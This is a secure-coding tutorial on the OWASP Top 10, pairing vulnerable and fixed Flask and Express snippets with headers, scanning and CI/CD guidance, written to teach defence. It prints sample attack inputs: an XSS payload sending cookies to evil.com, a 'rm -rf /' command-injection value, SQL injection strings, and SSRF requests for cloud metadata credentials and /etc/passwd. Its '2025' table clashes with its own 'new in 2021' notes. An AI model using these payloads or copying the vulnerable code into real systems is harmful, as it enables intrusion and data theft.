kavklaw@llm ~ /guides/secure-coding

kavklaw@llm $ cat secure-coding-guide.md

Secure Coding & OWASP Top 10

๐ŸŸก Intermediate

โฑ๏ธ 30 min read ยท Write code that attackers can't exploit โ€” from the OWASP Top 10 to DevSecOps

โ† Back to Guides

This guide is language-agnostic โ€” the principles apply to any stack. Code examples use Python (Flask) and JavaScript (Node.js/Express) because they're the most widely understood, but the same patterns apply to Java, Go, Ruby, PHP, and everything else.

Useful tooling to have:

  • Linting with security rules: Semgrep (multi-language, free), Bandit (Python), eslint-plugin-security (JavaScript)
  • SAST scanners: SonarQube (self-hosted, free community edition), CodeQL (GitHub-integrated, free for public repos)
  • DAST scanners: OWASP ZAP (free), Burp Suite Community
  • Dependency scanners: npm audit (Node.js), pip-audit (Python), Snyk (multi-language, free tier)
  • Secret detection: truffleHog, detect-secrets (pre-commit hook)

None of these are required to learn from this guide โ€” you can read it straight through. But if you're writing production code, integrate at least one SAST tool and dependency scanner into your workflow.

โšก Quick Start

Writing code right now and want to make it secure? Follow these rules:

The 7 Golden Rules of Secure Coding:

  1. NEVER trust user input โ€” validate and sanitize EVERYTHING
  2. Use parameterized queries โ€” NEVER concatenate SQL strings
  3. Encode output โ€” prevent XSS by encoding data for context
  4. Use established libraries โ€” don't roll your own crypto/auth
  5. Fail securely โ€” errors shouldn't leak info or create holes
  6. Least privilege โ€” code should run with minimum permissions
  7. Keep dependencies updated โ€” scan and patch regularly

Quick security checklist for any web app:

  • โœ… Parameterized queries for all database access
  • โœ… Input validation (type, length, range, whitelist)
  • โœ… Output encoding (HTML, JavaScript, URL, CSS context)
  • โœ… HTTPS everywhere (HSTS header)
  • โœ… Security headers (CSP, X-Frame-Options, etc.)
  • โœ… Password hashing (prefer Argon2id; scrypt if unavailable; bcrypt for legacy compatibility)
  • โœ… Session management (secure cookies, regeneration)
  • โœ… Dependency scanning (npm audit, pip-audit, Snyk)
  • โœ… Error handling (generic errors to users, detailed to logs)
  • โœ… Rate limiting on authentication endpoints

๐Ÿ” Why Secure Coding Matters

Every data breach, every ransomware attack, every compromised account traces back to a vulnerability. And the majority of vulnerabilities are introduced during development โ€” through insecure code. The cost of fixing a vulnerability increases exponentially the later it's found:

  • During coding: $80 to fix
  • During testing: $240 to fix (3x)
  • In production: $7,600 to fix (100x)
  • After a breach: $4.88 million average cost

Secure coding isn't about bolting on security after the fact. It's about building security into the development process from the start. The OWASP Top 10 (from the Open Web Application Security Project, a nonprofit that publishes security guidance) is the industry-standard list of the most critical web application security risks. If you learn nothing else about web security, learn these ten.

๐Ÿ“‹ OWASP Top 10 (2025)

#CategoryChange
A01Broken Access Controlโ–ฒ was #5
A02Cryptographic Failuresโ–ฒ was #3
A03Injectionโ–ผ was #1
A04Insecure Designโ˜… NEW
A05Security Misconfigurationโ–ฒ was #6
A06Vulnerable & Outdated Componentsโ–ฒ was #9
A07Identification & Auth Failuresโ–ผ was #2
A08Software & Data Integrityโ˜… NEW
A09Security Logging & Monitoringโ–ฒ was #10
A10Server-Side Request Forgeryโ˜… NEW

Key trends: Broken Access Control is now #1. Injection dropped from #1 to #3 (frameworks help, but it's still critical). Three NEW categories reflect modern attack patterns.

๐Ÿ”“ A01: Broken Access Control

The #1 web application vulnerability. Access control enforces that users can only access what they're authorized to. When it breaks, attackers can access other users' data, admin functions, or perform unauthorized actions. One of the most common forms is called IDOR (Insecure Direct Object Reference) โ€” where you simply change an ID number in a URL to access someone else's data.

# โŒ VULNERABLE: Direct Object Reference (IDOR)
# Python/Flask โ€” user can access any profile by changing the ID
@app.route('/api/profile/<user_id>')
def get_profile(user_id):
    user = db.query(f"SELECT * FROM users WHERE id = {user_id}")
    return jsonify(user)
# Problem: No check if the logged-in user is authorized to view this profile
# Attack: Change user_id from 1 to 2, 3, 4... to view other users' data

# โœ… SECURE: Authorization check
@app.route('/api/profile/<user_id>')
@login_required
def get_profile(user_id):
    # Verify the requesting user owns this profile or is admin
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # Forbidden
    user = db.query("SELECT * FROM users WHERE id = %s", (user_id,))
    return jsonify(user)


# โŒ VULNERABLE: Missing function-level access control
# JavaScript/Express โ€” admin endpoint accessible to any authenticated user
app.get('/admin/delete-user/:id', isAuthenticated, (req, res) => {
    db.deleteUser(req.params.id);
    res.json({ success: true });
});

# โœ… SECURE: Role-based access control
app.get('/admin/delete-user/:id', isAuthenticated, isAdmin, (req, res) => {
    db.deleteUser(req.params.id);
    auditLog.record('user_deleted', req.user.id, req.params.id);
    res.json({ success: true });
});

function isAdmin(req, res, next) {
    if (req.user.role !== 'admin') {
        return res.status(403).json({ error: 'Forbidden' });
    }
    next();
}
๐Ÿ’ก Pro Tip: Default to DENY. Every endpoint should require explicit authorization. If you forget to add an access control check, the default behavior should be to block access, not allow it. Implement access control as middleware that runs on every request.

๐Ÿ”‘ A02: Cryptographic Failures

Formerly "Sensitive Data Exposure." Covers failures in cryptography that lead to data exposure: weak algorithms, improper key management, transmitting data in cleartext.

# โŒ VULNERABLE: Storing passwords as MD5 (Python)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# Problem: MD5 is fast โ†’ easily cracked with rainbow tables
# "password123" โ†’ "482c811da5d5b4bc6d497ffa98491e38" (cracked instantly)

# โœ… SECURE: Using bcrypt with salt (Python)
import bcrypt
# Hashing
password_hash = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt(rounds=12))
# Verification
if bcrypt.checkpw(password.encode('utf-8'), stored_hash):
    print("Login successful")
# bcrypt is intentionally SLOW โ€” 12 rounds โ‰ˆ 250ms per hash
# Rainbow tables don't work (each hash has a unique salt)


# โŒ VULNERABLE: Hardcoded encryption key (JavaScript)
const key = "MySuperSecretKey123";  // In source code!
const encrypted = CryptoJS.AES.encrypt(data, key);

# โœ… SECURE: Key from environment/vault
const key = process.env.ENCRYPTION_KEY;  // From environment variable
// Better: Use AWS KMS, Azure Key Vault, HashiCorp Vault
// Best: Use envelope encryption โ€” encrypt data key with master key


# โŒ VULNERABLE: HTTP for sensitive data
<form action="http://example.com/login" method="POST">
# Problem: Credentials transmitted in cleartext

# โœ… SECURE: HTTPS everywhere with HSTS
# Nginx config:
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Force HTTPS redirect:
# server { listen 80; return 301 https://$host$request_uri; }
๐Ÿง  Knowledge Check โ€” Access Control & Cryptography
What is an IDOR (Insecure Direct Object Reference) vulnerability?
IDOR occurs when an application uses user-controllable identifiers (like user_id=123 in a URL) to directly reference data objects without verifying that the requesting user is authorized to access that specific object. An attacker simply changes the ID to access other users' data. Fix: always verify authorization โ€” "is this user allowed to access this specific resource?"
Which password hashing algorithm should you use for storing user passwords?
bcrypt, Argon2, and scrypt are purpose-built password hashing algorithms. They're intentionally slow (configurable cost factor), include automatic salting, and resist GPU/ASIC attacks. MD5 and SHA-256 are general-purpose hash functions that are too fast for password hashing โ€” an attacker can compute billions of hashes per second. Base64 isn't even a hash โ€” it's reversible encoding.

๐Ÿ’‰ A03: Injection

Injection held the #1 spot for years and is still a major threat. It happens when untrusted data is sent to an interpreter as part of a command or query. SQL injection is the most famous, but injection exists in many forms.

# โŒ VULNERABLE: SQL Injection (Python)
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
result = db.execute(query)
# Attack: username = ' OR '1'='1' --
# Query becomes: SELECT * FROM users WHERE username = '' OR '1'='1' --'
# Returns ALL users!

# โœ… SECURE: Parameterized Query (Python)
username = request.form['username']
query = "SELECT * FROM users WHERE username = %s"
result = db.execute(query, (username,))
# The database treats the parameter as DATA, never as SQL code
# Even if username = "' OR '1'='1' --", it's treated as a literal string


# โŒ VULNERABLE: SQL Injection (JavaScript/Node.js)
const query = `SELECT * FROM products WHERE id = ${req.params.id}`;
db.query(query);

# โœ… SECURE: Parameterized Query (Node.js)
db.query('SELECT * FROM products WHERE id = ?', [req.params.id]);
// Or with an ORM (Sequelize, Prisma) that handles parameterization


# โŒ VULNERABLE: Command Injection (Python)
import os
filename = request.args.get('file')
os.system(f"cat /uploads/{filename}")
# Attack: filename = "test.txt; rm -rf /"
# Executes: cat /uploads/test.txt; rm -rf /

# โœ… SECURE: Use safe APIs, validate input
import subprocess
filename = request.args.get('file')
# Validate: only allow alphanumeric + dots, no path traversal
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
    abort(400)
# Use subprocess with list args (no shell interpretation)
result = subprocess.run(['cat', f'/uploads/{filename}'], capture_output=True)


# โŒ VULNERABLE: XSS (Cross-Site Scripting) โ€” JavaScript
document.getElementById('greeting').innerHTML = 'Hello, ' + username;
// Attack: username = '<script>document.location="http://evil.com/steal?c="+document.cookie</script>'

# โœ… SECURE: Use textContent or proper encoding
document.getElementById('greeting').textContent = 'Hello, ' + username;
// textContent treats input as text, NOT as HTML
// In templates: use auto-escaping (Jinja2, React JSX, etc.)
โš ๏ธ Critical Rule: NEVER build SQL queries by concatenating strings with user input. Use parameterized queries (prepared statements) for every database interaction. This single practice eliminates SQL injection entirely. Every major language and framework supports parameterized queries.

๐Ÿ—๏ธ A04: Insecure Design

New in 2021, this category targets design-level flaws that can't be fixed by better implementation. It's about missing security requirements and flawed application logic.

Examples of insecure design:

  • โŒ Security questions for password recovery โ€” "What is your mother's maiden name?" is easily researched on social media. โœ… Use proper MFA recovery: backup codes, verified email, authenticator app.
  • โŒ Password reset link that doesn't expire โ€” If an attacker gets the link later, they can reset the password. โœ… Reset links should expire in 15-30 minutes, be single-use, and be tied to the current password hash.
  • โŒ Unlimited login attempts โ€” Allows brute force attacks. โœ… Rate limiting + account lockout after N failures + CAPTCHA.
  • โŒ Business logic flaws โ€” E-commerce: Apply discount code โ†’ change quantity โ†’ discount applies to new total. โœ… Recalculate all prices and discounts server-side on every state change.

Design principles:

  • Threat model during design (STRIDE methodology)
  • Define security requirements alongside functional requirements
  • Use established security patterns (don't invent your own auth)
  • Apply defense in depth (don't rely on a single control)
  • Fail securely (when something goes wrong, deny access)

โš™๏ธ A05: Security Misconfiguration

Common misconfigurations:

  • โŒ Default credentials left on applications โ€” admin:admin, root:root. โœ… Change all defaults during deployment.
  • โŒ Debug mode in production โ€” Flask debug=True exposes Werkzeug debugger (RCE!), Django DEBUG=True exposes stack traces. โœ… Always disable in production.
  • โŒ Directory listing enabled โ€” Nginx autoindex on; shows all files. โœ… Set autoindex off;
  • โŒ Unnecessary services/features โ€” PUT, DELETE on read-only API, admin interfaces on internet. โœ… Disable everything not explicitly needed.
  • โŒ Missing security headers โ€” No CSP, no X-Frame-Options. โœ… Add security headers (see Security Headers section).
# Always disable debug in production:
app.run(debug=False)
# Django: DEBUG = False, ALLOWED_HOSTS = ['yourdomain.com']

๐Ÿ“ฆ A06: Vulnerable & Outdated Components

80% of modern applications are composed of third-party libraries. One vulnerable dependency = your entire application is vulnerable.

Scanning for Vulnerable Dependencies

# JavaScript/Node.js
npm audit                    # Built-in audit
npm audit fix               # Auto-fix where possible
npx snyk test               # Snyk (more thorough)

# Python
pip-audit                   # Scan installed packages
safety check                # Check requirements.txt

# Java/Maven
mvn org.owasp:dependency-check-maven:check

# Ruby
bundle audit check

Best practices:

  1. Run dependency scans in CI/CD pipeline (fail build on critical vulns)
  2. Keep dependencies updated (automated with Dependabot/Renovate)
  3. Pin dependency versions (don't use "latest")
  4. Audit dependencies before adding them
  5. Remove unused dependencies (reduce attack surface)
  6. Monitor for new CVEs (Snyk, GitHub Security Advisories)

๐Ÿ” A07: Identification & Authentication Failures

# โŒ VULNERABLE: Session management issues

# Session fixation: accepting session IDs from URL parameters
# Session not regenerated after login
# Session cookies without Secure/HttpOnly flags

# โœ… SECURE: Proper session management (Python/Flask)
app.config.update(
    SESSION_COOKIE_SECURE=True,     # Only sent over HTTPS
    SESSION_COOKIE_HTTPONLY=True,    # Not accessible via JavaScript
    SESSION_COOKIE_SAMESITE='Lax',  # CSRF protection
    PERMANENT_SESSION_LIFETIME=1800  # 30 min timeout
)

# Regenerate session after login:
@app.route('/login', methods=['POST'])
def login():
    if authenticate(username, password):
        session.regenerate()  # Prevent session fixation
        session['user_id'] = user.id
        return redirect('/dashboard')

Authentication best practices:

  1. Enforce strong passwords (min 8 chars, complexity check)
  2. Implement MFA (TOTP, WebAuthn, push notification)
  3. Rate limit login attempts (5 failures โ†’ lockout/CAPTCHA)
  4. Use secure password hashing (bcrypt, Argon2)
  5. Implement proper session management
  6. Generic error messages ("Invalid username or password") โ€” NOT "User does not exist" (information leakage!)
  7. Protect against credential stuffing (breach password lists)

๐Ÿ”„ A08: Software & Data Integrity Failures

# Integrity failures occur when code or data is used without
# verifying its integrity โ€” CI/CD pipelines, auto-updates,
# deserialization, and dependency management.

# โŒ VULNERABLE: Insecure Deserialization (Python)
import pickle
data = pickle.loads(user_input)  # NEVER deserialize untrusted data!
# Pickle can execute arbitrary code during deserialization

# โœ… SECURE: Use safe serialization formats
import json
data = json.loads(user_input)  # JSON doesn't execute code

# โŒ VULNERABLE: Loading JavaScript from untrusted CDN without integrity check
<script src="https://cdn.example.com/jquery.min.js"></script>

# โœ… SECURE: Subresource Integrity (SRI)
<script src="https://cdn.example.com/jquery.min.js"
    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
    crossorigin="anonymous"></script>
# Browser verifies the hash before executing โ€” tampered files are rejected

# === CI/CD Pipeline Security ===
# - Sign commits and artifacts
# - Verify checksums of downloaded dependencies
# - Lock dependency versions (package-lock.json, Pipfile.lock)
# - Secure CI/CD secrets (not in code, use vault)
# - Require code review before merge to main

๐Ÿ“ A09: Security Logging & Monitoring Failures

# Without proper logging, you can't detect attacks or investigate incidents

# โŒ VULNERABLE: No logging of security events
def login(username, password):
    user = authenticate(username, password)
    if user:
        return create_session(user)
    return "Login failed"  # No record of what happened

# โœ… SECURE: Proper security logging (Python)
import logging

security_logger = logging.getLogger('security')

def login(username, password):
    user = authenticate(username, password)
    if user:
        security_logger.info(f"Successful login: user={username}, ip={request.remote_addr}")
        return create_session(user)
    else:
        security_logger.warning(f"Failed login: user={username}, ip={request.remote_addr}")
        return "Login failed"

What to log:

  • โœ… Authentication events (login success/failure)
  • โœ… Authorization failures (403 errors)
  • โœ… Input validation failures (potential attack attempts)
  • โœ… Server errors (500 โ€” might indicate exploitation)
  • โœ… Admin actions (user management, config changes)
  • โœ… High-value transactions

What NOT to log:

  • โŒ Passwords (even failed ones โ€” they might be close to correct)
  • โŒ Credit card numbers, SSNs, health data
  • โŒ Session tokens or API keys

Log sanitized versions or just note that the event occurred.

๐Ÿง  Knowledge Check โ€” OWASP Top 10
๐Ÿ“‹ Scenario
# Python Flask endpoint
@app.route('/search')
def search():
    query = request.args.get('q')
    results = db.execute(
        f"SELECT * FROM products WHERE name LIKE '%{query}%'"
    )
    return render_template('results.html', results=results)
What vulnerability exists in this code, and how would you fix it?
The query is built by concatenating user input directly into the SQL string using an f-string. An attacker could input ' UNION SELECT * FROM users -- to extract all user data. The fix is to use parameterized queries where the user input is passed as a separate parameter, not concatenated into the SQL string. The database engine treats the parameter as data, never as SQL code.
Which command scans a Node.js project for known vulnerable dependencies?
npm audit checks your project's dependency tree against the npm Security Advisory database and reports known vulnerabilities. It categorizes findings by severity (critical, high, moderate, low) and suggests fixes. Run npm audit fix to automatically install compatible updates. For production applications, integrate this into your CI/CD pipeline to catch vulnerabilities before deployment.

๐ŸŒ A10: Server-Side Request Forgery (SSRF)

New in the 2021 Top 10. SSRF (Server-Side Request Forgery) happens when your web application fetches a URL that the user specifies, without checking where that URL actually points. Imagine a feature like "enter a URL to preview an image" โ€” if you don't validate the URL, an attacker can make your server fetch internal resources (like database admin panels or cloud credentials) that should never be accessible from the outside.

  Attacker                   Web Server              Internal Network
     โ”‚                          โ”‚                          โ”‚
     โ”‚  /fetch?url=http://      โ”‚                          โ”‚
     โ”‚  169.254.169.254/creds   โ”‚                          โ”‚
     โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ†’โ”‚                          โ”‚
     โ”‚                          โ”‚โ”€โ”€โ”€โ”€ fetches URL โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ†’โ”‚
     โ”‚                          โ”‚                          โ”‚
     โ”‚                          โ”‚โ†โ”€โ”€ AWS credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”‚
     โ”‚โ†โ”€โ”€ returns creds โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚                          โ”‚
     โ”‚                          โ”‚                          โ”‚
     โ”‚  The server acts as a proxy to internal resources!  โ”‚
# โŒ VULNERABLE: Fetching user-supplied URL (Python)
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)  # Fetches ANY URL!
    return response.text

# Attack: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Result: Steals AWS credentials from the EC2 metadata service!

# Attack: /fetch?url=http://localhost:6379/  โ†’ Access internal Redis
# Attack: /fetch?url=file:///etc/passwd      โ†’ Read local files

# โœ… SECURE: URL validation and allowlisting
from urllib.parse import urlparse
import ipaddress

ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    parsed = urlparse(url)

    # Only allow HTTPS
    if parsed.scheme != 'https':
        abort(400, 'Only HTTPS URLs allowed')

    # Only allow approved domains
    if parsed.hostname not in ALLOWED_DOMAINS:
        abort(400, 'Domain not in allowlist')

    # Block internal IPs
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            abort(400, 'Internal addresses not allowed')
    except ValueError:
        pass  # Not an IP, it's a hostname โ€” already checked against allowlist

    response = requests.get(url, timeout=5)
    return response.text

๐Ÿ›ก๏ธ Security Headers

# Essential security headers for every web application

# Content-Security-Policy (CSP) โ€” prevents XSS by controlling what can execute
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

# Strict-Transport-Security (HSTS) โ€” force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# X-Frame-Options โ€” prevent clickjacking
X-Frame-Options: DENY
# Or: SAMEORIGIN (allow framing from same origin only)

# X-Content-Type-Options โ€” prevent MIME sniffing
X-Content-Type-Options: nosniff

# Referrer-Policy โ€” control what's sent in Referer header
Referrer-Policy: strict-origin-when-cross-origin

# Permissions-Policy โ€” control browser features
Permissions-Policy: camera=(), microphone=(), geolocation=()

# === Nginx Configuration ===
server {
    # ... server config ...
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}

# Test your headers: https://securityheaders.com

๐Ÿ” SAST vs DAST โ€” Automated Security Testing

These are the two main types of automated security testing. Think of SAST as proofreading your code before running it, and DAST as testing the finished application by poking at it from the outside:

SAST (Static Application Security Testing)

Analyzes source code without running the application. Finds: SQL injection, XSS, buffer overflows, hardcoded secrets. Run during development (IDE plugins, CI/CD pipeline).

  • Pros: Finds bugs early, covers all code paths
  • Cons: High false positive rate, can't find runtime issues
  • Tools: Semgrep (free), SonarQube, CodeQL (GitHub), Bandit (Python), ESLint security plugins (JS)
# Semgrep scan
semgrep --config=auto .             # Scan current directory
semgrep --config=p/owasp-top-ten .  # OWASP-focused rules

DAST (Dynamic Application Security Testing)

Tests the running application from the outside. Finds: XSS, injection, misconfigurations, auth issues. Run after deployment (staging environment).

  • Pros: Low false positives, finds runtime issues
  • Cons: Can't find all code paths, slower
  • Tools: OWASP ZAP (free), Burp Suite (professional), Nuclei (template-based), Nikto
# ZAP scan
zap-cli quick-scan https://staging.example.com
zap-cli active-scan https://staging.example.com

IAST (Interactive AST)

Combines SAST and DAST โ€” instruments the running app. Finds issues with high accuracy and low false positives. Tools: Contrast Security, Hdiv, Checkmarx IAST.

Best practice: Use BOTH SAST and DAST in your pipeline. SAST catches issues during development (shift left). DAST validates the deployed application.

๐Ÿ”„ DevSecOps Basics

DevSecOps (Development + Security + Operations) means building security checks into your development pipeline so that vulnerabilities are caught automatically before code reaches production. Instead of a separate security review at the end, you add automated scanning at every stage:

  Code โ”€โ”€โ†’ Commit โ”€โ”€โ†’ Build โ”€โ”€โ†’ Test โ”€โ”€โ†’ Deploy โ”€โ”€โ†’ Monitor
   โ”‚         โ”‚         โ”‚         โ”‚         โ”‚          โ”‚
   โ–ผ         โ–ผ         โ–ผ         โ–ผ         โ–ผ          โ–ผ
  IDE      Secret    SAST      DAST     Config     Runtime
  plugin   scanning  + Dep.    + Pen    audit      monitoring
           (pre-     scan      test                (WAF, SIEM)
            commit)
# === Pre-Commit Hooks ===
# Prevent secrets from being committed
# .pre-commit-config.yaml:
repos:
  - repo: https://github.com/Yelp/detect-secrets
    hooks:
      - id: detect-secrets

  - repo: https://github.com/pre-commit/pre-commit-hooks
    hooks:
      - id: detect-aws-credentials
      - id: detect-private-key

# === CI/CD Pipeline Security Checks ===
# GitHub Actions example:
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: SAST - Semgrep
        uses: returntocorp/semgrep-action@v1
        with:
          config: p/owasp-top-ten

      - name: Dependency Scan
        run: npm audit --audit-level=high

      - name: Secret Scan
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./

      - name: Container Scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'myapp:latest'
          severity: 'CRITICAL,HIGH'

๐ŸŽฏ Real-World Methodology

Secure Code Review Checklist

1. Input Validation

  • โ–ก All user input validated (type, length, range)
  • โ–ก Allowlist validation preferred over blocklist
  • โ–ก Server-side validation (client-side is for UX, not security)

2. Output Encoding

  • โ–ก Data encoded for context (HTML, JavaScript, URL, CSS)
  • โ–ก Template engine auto-escaping enabled
  • โ–ก Content-Security-Policy header set

3. Authentication

  • โ–ก Password hashing uses bcrypt/Argon2/scrypt
  • โ–ก MFA implemented or planned
  • โ–ก Rate limiting on login endpoint
  • โ–ก Session management uses secure cookie flags
  • โ–ก Generic error messages (no user enumeration)

4. Authorization

  • โ–ก Every endpoint has access control checks
  • โ–ก Default deny policy
  • โ–ก IDOR checks on all resource access
  • โ–ก Role-based access control implemented

5. Data Protection

  • โ–ก Sensitive data encrypted at rest and in transit
  • โ–ก No secrets in source code
  • โ–ก HTTPS enforced everywhere (HSTS)
  • โ–ก Proper key management (not hardcoded)

6. Error Handling

  • โ–ก Generic errors to users
  • โ–ก Detailed errors to logs (not to users!)
  • โ–ก No stack traces in production
  • โ–ก Fail securely (deny access on error)

7. Dependencies

  • โ–ก All dependencies scanned for vulnerabilities
  • โ–ก No unnecessary dependencies
  • โ–ก Versions pinned in lock file
  • โ–ก Automated updates configured (Dependabot/Renovate)

โš ๏ธ Common Mistakes

โŒ Mistake #1: "Security is QA's job."
Security must be built in during development, not tested in after. By the time QA finds a vulnerability, it's already 10x more expensive to fix. Every developer needs to understand the OWASP Top 10.
โŒ Mistake #2: Client-side validation only.
JavaScript validation is for user experience, not security. An attacker can bypass all client-side checks with a simple proxy (Burp Suite). Always validate on the server.
โŒ Mistake #3: Rolling your own crypto.
Never implement your own encryption, hashing, or authentication systems. Use established, well-tested libraries. Cryptography is incredibly easy to get wrong in subtle ways that create exploitable vulnerabilities.
โŒ Mistake #4: Security through obscurity.
Hiding admin panels at /super-secret-admin or using obfuscated parameter names doesn't provide security. Assume the attacker knows your code. Real security comes from proper access controls, encryption, and input validation.
โŒ Mistake #5: Ignoring dependency vulnerabilities.
Your application is only as secure as its weakest dependency. If a library you use has a critical CVE, your application is vulnerable. Scan dependencies in CI/CD and keep them updated.
โŒ Mistake #6: Verbose error messages in production.
Stack traces, SQL errors, and internal paths exposed to users provide attackers with valuable reconnaissance data. Return generic errors to users and log detailed errors internally.
โŒ Mistake #7: Not using security headers.
Security headers like CSP, HSTS, X-Frame-Options, and X-Content-Type-Options are free defense layers. They take minutes to configure and prevent entire categories of attacks. Check your headers at securityheaders.com.

๐Ÿ“š Further Reading

๐Ÿ† Section Assessment โ€” Secure Coding
๐Ÿ“‹ Scenario
// Node.js Express app
app.get('/fetch', async (req, res) => {
    const url = req.query.url;
    const response = await fetch(url);
    const data = await response.text();
    res.send(data);
});
What is the primary vulnerability in this code?
This is Server-Side Request Forgery (SSRF โ€” A10). The server fetches any URL the user provides, including http://169.254.169.254/ (cloud metadata with credentials), http://localhost:6379/ (internal Redis), or file:///etc/passwd (local files). Fix: validate the URL against an allowlist of permitted domains, block internal/private IP ranges, and only allow HTTPS.
What is the difference between SAST and DAST?
SAST (Static Application Security Testing) analyzes source code, bytecode, or binaries without executing the application. It finds vulnerabilities in the code itself during development. DAST (Dynamic Application Security Testing) tests the running application by sending requests and analyzing responses โ€” like an automated penetration test. Use both: SAST during development for early detection, DAST in staging for runtime validation.
What security header prevents your web page from being embedded in an iframe (clickjacking protection)?
X-Frame-Options: DENY prevents the page from being embedded in any iframe, protecting against clickjacking attacks. SAMEORIGIN allows framing only from the same origin. The modern equivalent is Content-Security-Policy: frame-ancestors 'none', which offers more granular control. Both are effective โ€” use CSP frame-ancestors for new applications, X-Frame-Options for broader browser compatibility.
In a DevSecOps pipeline, at which stage should secret scanning (detecting hardcoded API keys, passwords) ideally occur?
Secret scanning should happen as early as possible โ€” ideally as a pre-commit hook that runs on the developer's machine before code is pushed to the repository. Once a secret is committed to Git history, it's extremely difficult to fully remove (git history preserves everything). Tools like detect-secrets, truffleHog, and gitleaks can be configured as pre-commit hooks to catch secrets before they're ever committed.